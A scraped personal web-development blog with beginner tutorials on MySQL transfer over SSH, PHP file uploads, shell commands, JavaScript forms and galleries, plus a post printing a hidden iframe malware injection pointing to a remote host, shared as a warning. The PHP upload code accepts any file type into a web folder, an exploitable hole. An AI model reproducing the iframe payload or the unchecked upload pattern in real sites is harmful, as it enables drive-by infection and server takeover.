Lesson 3: On Page Optimization for SEO

Transfer a Large Database using MySQL Dump and a SHH Client

Have you needed to transfer a large database? One of an eCommerce Cart or of a big blog? phpMyAdmin only allow’s imports of databases of 2 mbs, if you fix the php.ini file you can get maybe 10 or 12 max on most servers. In order to move this you will need to do it through shell access. Here is instructions on how to do this:

1. Contact your service provider and tell them to allow shell access in your account.
2. Download a SHH client like puTTY
3. Open the application, enter your domain and the port. (I have usually encounter them to be 22 or 2222)
4. Enter your username and password. These are usually the same as your FTP credentials.
5. To export or dump the MySQL database you will be using a tool calles MySQL Dump, to do this you will type:
   1. mysqldump -u [username] -p[password] [dbname] | gzip > [location/name].sql.gzip
   2. the items in [ ] need to replaced and the brackets removed. Also please note there is no space between -p and your password
   3. This will create what is called a dump file of your database which will be gzipped for easier development.
6. Now you need to get the file that was created and upload it to your new site via an SFTP or FTP client.
7. After this enable shell access on your new server or location and access it
8. First we need to decompress the .gzip file, to do this type:
9. gzip -d [location/file].sql.gzip
10. After this is completed the gzip file will dissapear and you will only have the sql file needed.
11. Now all you need to do is import the file into your database, to do this type:
    1. mysql -u[username] -p[password] [dbname] < [location/file].sql
12. Your import and transfer of your MySQL database is now complete.

————

Do you need any work performed on your database or on your web application? You can contact me at (619) 800-2678 or using the Quote Request form.

My attempt to create the perfect Social Media Campaign

This is the first of a series of blog post that I will be writing about my attempt to create the perfect Social Media Campaign. I will try to evaluate all of the factors that need to be evaluated and integrated into this campaign in order to beξsuccessful. Here is some information about the company that I will use as sample:

• Name: GC Termite Control
• Industry: Termite & WDO Control
• Website: GCTermiteControl.com
• About It: Small family owned business that serves the greater San Diego county area. The company specializes in serving the Real Estate industry.

Firstly I have to decide which social media networks we will be involved in. Keeping in mind that our target audience are professionals that work in the real estate industry which include Realtors, Escrow Officers, Loan Officers, Listing Managers, Branch Managers and other. After careful consideration and research here are the networks that I have selected to include in this campaign.

• Facebook
• LinkedIn
• Twitter
• Google+
• Reddit

The main purpose of this campaign will be primarily to increase the company visibility and trust. This will be created by using a different amount of methods. The first method that I will try is to generate more company visibility by the creation of a Facebook Ad.

• Tips
• How To’s
• Content Strategy

Upload Files From a Form

Hello guys,ξ I decided to do a post on how to upload files from a simple HTML form into your server. First, you will need to set up this form with the proper headings, please see code below.

<form enctype=”multipart/form-data” action=”uploads.php” method=”POST”>

Choose a file to upload: <input name=”uploadedfile” type=”file” /><br />

<input type=”submit” value=”Upload File” /> (Max Size is 2MB)

</form>

As you can see, there is a note stating that the maximum size can be of 2MB’s, you can change this in your php.ini file. Now, you will need to create your uploads.php file, which will receive the file and move it to your desired destination.

//File Upload

$target_path = “uploads/”; //Target Folder

$target_path = $target_path .$timestamp.’_’.basename( $_FILES[‘uploadedfile’][‘name’]);ξ //Final File Destination and name

if(move_uploaded_file($_FILES[‘uploadedfile’][‘tmp_name’], $target_path)) {

echo “The file “.basename( $_FILES[‘uploadedfile’][‘name’]).

” has been uploaded”;

} else{

echo “There was an error uploading the file, please try again!”; //If an error

}

As you can see, I have commented on the code so that it’s more clear to you, feel free to change the address to your desired location. And like always, please feel free to leave any comments, sugestions or questions below.

Thank You,

Gilberto Cortez

HTML5 Form Autocomplete Implementation

Technology is advancing very rapidly in the technology industry this last couple of years. A great and powerful new standard that was created and by which many of us developers are abiding already is HTML5. With this many opportunities came for us to be able to successfully create a user experience that is easily utilized by any visitor. One of the great tools that are on this library is the ability to AutoComplete forms, which at this time many of the major browsers already support. The browser with the biggest support of this feature is Google Chrome. Actually it was during one of Matt Cuts videos about it that I became familiar with it. Even if some of the browsers can perform this without implementation of any code I will highly recommended as you will be requesting exactly the information that you are looking for minimizing any room for user error. It is very simple to implement in any form without having to change any of the backEnd code, all that you have to do is add the attributeξx-autocompletetype.

Example:

<input type=”text” name=”fullName”ξx-autocompletetype=”name-full” />

The only thing that you have to be replacing will be the value of the attribute as it will be different for each input tag, you can find a complete list of them atξWHATWG Wiki, as well as the complete specifications of this new attribute. There is also a way to completely turn off this feature with the attribute “ξautocomplete=’off’ “, which might be useful for high security sites like bank portals or log in forms.

There are many mixed emotions in regard to form autocompletion on the web. Many say that it is a great security hazard as all of your personal and financial information is stored on your computer. However, on the contrary I do like the idea as anything that will help a visitor make it’s experience easier is good UX, and fortunately as well with the great advances in encryption we can rest secured that our information is safely stored. Please take a moment in the comment section below to let me know what you think about this topic as well as any other comments.

Basic Content Management System

If you are a Web Developer like me, then you are always working from different locations, different machines, etc. You do not want to go and look for that client information every time to gain access via FTP to do a small change. There is where a good content management system comes in place. What this is going to allow you to do is to give you the ability to edit any file from any location and from any machine as the editor will be sitting right on the server.

Here is a copy of my Content Management System, which you can just drop in any folder and edit or delete any file in it.

Download My Content Management System

Once you download it, just unzip it and try it in one of your folders. This is a basic management system all that you need to do to install it is to upload, there are a PHP file that is the one doing all the work, and the Tiny MCE folder, which contains all of the required files for the text editor skin, you can delete this if desired. You can also get an updated version by doing a Google search of Tiny MCE.

Please give me your comments and suggestions,

Gilberto Cortez

———————————-

Got termites? Fumigations are the only primaryξrecommendationξgiven by the state. Any other solutions are only secondary and temporary.

Shell or SSH Commands and Beginner 101 Course

Using Shell or SSH connection to interact with your Linux server could be the most powerful tool you can have. This is because when you connect via this interface you are actually working from inside your server and this gives you more power and control over whatever you are doing.

To start off you need to contact your server provider and tell them that you want shell access enabled in your account. Some companies like goDaddy use telephone to confirm, others ask you to fax or email a copy of your drivers license. Most of them will have one way or another to do this.

After this you will need to get a telnet application like Putty which is Freeware by the way. Once you download this open it and enter your web address in the input box then click connect. It will ask you for your username and password, they are usually the same as your main hosting account credentials. After this you are good and it, very simple correct.

This interface looks like your regular MS-Dos Command Prompt, and don’t be scared it is very simple to use. Here is a list of commands to get you startes

• pwd
  • Show you the directory you are in
• ls
  • Shows you the files that are in your current directory
• ls -al
  • Shows you all the files in the current directory with file permissions, sizeξmodificationξdate, owner and group names and name
• cd /directoryname
  • Changes current folder to a new destination
• df
  • Gives you a report of free space
• rm {file}
  • Removes a File
• rmdir /directoryname
  • Removes an empty Directory
• rm *
  • Removes all non-protected files in your current directory
• rm -r
  • Removes all non-protected files in your current directory and sub folders using recursion. Protected files will ask you for permission
• ftp {ftp address}
  • Connect to an FTP server
• get {filename}
  • Dowload a file from the ftp connection
• put {filename}
  • Upload a file using the ftp connection
• cp {filename} {newdir}
  • Copy a file into a new directory
• cp * {newdir}
  • Copy all files from current directory into a new directory
• cp *.txt {newdir}
  • Copy al .txt files into a new directory
• vi {filename}
  • Opens the basic text editor and opens the file
• mv {filename} {newdirectory}
  • Moves the file(s) to a new directory
• mkdir {newdirectory}
  • Creates a new folder or directory
• mkdir -p {directory1}/{directory2}/{directory3}
  • Creates multiple nested folders in one shot
• who
  • Tells you who is connected to your server
• cat /proc/meminfo
  • Shows your system’s available memory
• history
  • This command will give you the last 10 commands you entered

This is just a list to get you started. Shell access is the only way that you will have complete control over what you and your applications are doing. You will be able to do much more from there so start geting used to it. There will be a series of tutorials that I will create about using the Shell Command Line so come back to check on us, my next Shell entry will be a tutorial in how to transfer files the right way, and without even using yourξbandwidth.

Please leave any comments or questions below.

Thank You,

Gilberto Cortez

New iFrame Malware Script

Hello guys, another one of the sites I manage has been infected and blocked by Google, here is the iFrame script that has the malicious virus in it just in case you guys have been attacked by the same person.

<iframe src=???http://namegamestore.cn:8080/index.php??? width=183 height=129 style=???visibility: hidden???></iframe>

Thank You,

Gilberto Cortez

Simple JavaScript Image Gallery

Hello guys, I had to work on a website this weekend and I came up with an issue, I did not have any image JavaScript gallery that would just change the image and have a previous and next button. So I decided to create this. Here is a basic gallery, I have commented the script for easier understanding.

<script>

//Create variables

var i = 0;

var prev;

var next;

var images = new Array;

//Set Image File Name

images = [

“firstimage”,

“secondimage,

“thirdimage”

];

//Go directly to image function

function imgPresent(src){

var change = document.getElementById(???imgBig???);

//Change main picture source and alt fields

change.src =images[src]+???.jpg???;

change.alt = images[src];

}

// link function to switch image backward

function prev(){

if(i==0){

//Set maximum number in array

i = 2;

} else {

i = i-=1;

}

//CHange Main Image

var change = document.getElementById(???imgBig???);

change.src = images[i]+???.jpg???;

change.alt = images[i];

}

// link function to switch image forward

function next(){

//Set Max Number

if(i==2){

i = 0;

} else {

i = i+=1;

}

//Change Main Image

var change = document.getElementById(???imgBig???);

change.src = images[i]+???.jpg???;

change.alt = images[i];

}

</script>

On the direct images links, which can be your thumbnails all you need to do is onclick=???imgPresent(i)???, where var i = the number of the file you want inside the image array created in the script. And for your next button the action would be onclick=???next()???. For the previous button the action would be onclick=???prev()???.

Like always, please feel free to contact me or leave me any comments behind or questions,

Thank You,

Gilberto Cortez

Using Loops to Check for Empty Fields

I???ve been noticing lately how many student are creating multiple functions or if statements to do something that is possible in just a couple of lines, in this post I will try to explain how to use Arrays and Loops to validate a form, checking that it does not have any empty fields.

First you need to set up your form, here is the code for a simple log in form:

<form method="post" name="myform" action="login.php">

Username: <input type="text" id="username" name="username"/><br />

Password: <input type="password" id="pass" name="pass"/><br />

<input type="button" value="Log Me In" onClick="validate();"/>

</form>

You might have noticed that at the end of the form, instead of using ???submit??? for the type I used ???button??? instead. I do this to be 100% sure that the form will not be submitted unless it passes the JavaScript Validation. Please be aware that this method will bring a User Experience problem if he or she has JavaScript disabled, for this post please disregard the issue.

After you create your form, then we need to dive into the JavaScript code:

<script type="text/javascript" language="javascript">

function validate(){

//Create Fields Array

var fields = new Array;

var fields = [document.getElementById('username'),document.getElementById('pass')];

//Create Variable to Keep Track of Errors

var err = 0;



//Start Validation Loop

for (i=0;i<fields.length;i++){

//Check Fields in Array to Make Sure they are not Empty

if (fields[i].value == ""){

err++;

}

}//Close Loop

//Check That There are No Errors

if (err === 0){

//Submit Form

document.myform.submit();

}else {

//If there are errors, return false and alert the user

alert("Please Fill Out All Of The Fields");

return false;

}

}

</script>

So there it is guys, all you have to do now is to add more fields to the fields array and it will loop around all of them to check them for empty spaces.

Here is a little more explanation on the script. The first thing that I did is to store my variables, I used an array for the fields being that they have a similar job in common and it will be easire to check them all like this. (An array is created when you have multiple objects with similar properties. For example you could make an array of Car Makes, Car Types, Regular Customers. This is more efficient than creating a different variable for each single item, now you just have to work with one.

After this we start the validation, this is done by looping trough that array to check that the fields are not empty. Let me explain how to create the loop, which is using the for statement. The first line will define where your loop starts, and how many time it will be runned.

Code:

for (i=0;i<fields.length;i++)

Explanation:

for(variable that will be keeping track of how many loops have passed ; how many times will the loop run (the .length property only gives out the array size, so that we can run it that many times ; and finally this step will add one to the loop variable for the next run)

Every time the loop runs, the code between the brackets it???s what is run multiple time. In this case we did an if statement to check the field value. if it finds an empty field it will add one to theξerr variable. After the loop is completed,ξ then we do anotherξif statement to check that there are no errors, if they are none then the form is submitted, is there is an error then it will alert the user and return false.

Hope this helped you out, please leave any comments or suggestions below.

Gilberto Cortez

www.GilbertoCortez.com // Interactive Solutions and Web Development